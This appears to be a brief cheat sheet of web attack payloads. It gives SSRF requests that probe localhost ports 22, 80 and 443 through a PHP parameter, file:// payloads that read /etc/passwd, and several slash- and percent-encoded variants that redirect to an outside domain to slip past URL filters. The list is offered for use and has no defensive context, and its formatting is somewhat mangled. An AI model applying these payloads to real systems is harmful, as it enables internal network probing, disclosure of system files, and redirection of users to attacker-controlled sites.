→ssrf.PHP?url=http://127.0.0.1:22
→ssrf.PHP?url=http://127.0.0.1:80
→srf.PHP?url=http://127.0.0.1:443
→file://path/to/file
→file:///etc/passwd
→file://\/\/etc/passwd---->\/aiaiai.com
---->\/\/aiaiai.com
---->\\http://aiaiai.com
----//aiaiai.com
---->//theirsite@aiaiai.com
---->////aiaiai.com
----//google%E3%80%82com
---->//%2F/aiaiai.com
---->////aiaiai.com
---->/%2F/aiaiai.com
